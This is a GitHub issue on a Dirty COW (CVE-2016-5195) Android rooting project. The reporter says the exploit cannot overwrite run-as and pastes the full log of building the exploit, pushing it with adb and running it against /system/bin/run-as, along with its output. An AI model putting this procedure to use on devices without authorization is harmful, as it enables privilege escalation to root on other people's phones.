CVE-2016-5195 icon indicating copy to clipboard operation
CVE-2016-5195 copied to clipboard

Can't overwrite run-as executable

Open zaoqi opened this issue 6 years ago • 0 comments

but Dirtycow Checker displays Your device is vulnerable

[zaoqi@zaoqi-pc CVE-2016-5195]$ make root
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_ABI=armeabi-v7a APP_PLATFORM=android-19
make[1]: Entering directory `/home/zaoqi/Android/A63/CVE-2016-5195'
[armeabi-v7a] Install        : dirtycow => libs/armeabi-v7a/dirtycow
[armeabi-v7a] Install        : run-as => libs/armeabi-v7a/run-as
make[1]: Leaving directory `/home/zaoqi/Android/A63/CVE-2016-5195'
adb push libs/armeabi-v7a/dirtycow /data/local/tmp/dcow
libs/armeabi-v7a/dirtycow: 1 file pushed. 2.1 MB/s (9892 bytes in 0.004s)
adb shell 'chmod 777 /data/local/tmp/dcow'
adb shell 'chmod 777 /data/local/tmp/dcow'
adb push libs/armeabi-v7a/run-as /data/local/tmp/run-as
libs/armeabi-v7a/run-as: 1 file pushed. 2.1 MB/s (9892 bytes in 0.004s)
adb shell '/data/local/tmp/dcow /data/local/tmp/run-as /system/bin/run-as'
dcow /data/local/tmp/run-as /system/bin/run-as
warning: new file size (9892) and destination file size (9440) differ

corruption?

[*] size 9892
[*] mmap 0x40111000
[*] currently 0x40111000=464c457f
[*] using /proc/self/mem method
[*] madvise = 0x40111000 9892
[*] madvise = 0 10257869
[*] /proc/self/mem 820651444 951333
[*] exploited 0 0x40111000=464c457f
[zaoqi@zaoqi-pc CVE-2016-5195]$ 

zaoqi avatar Jul 20 '19 13:07 zaoqi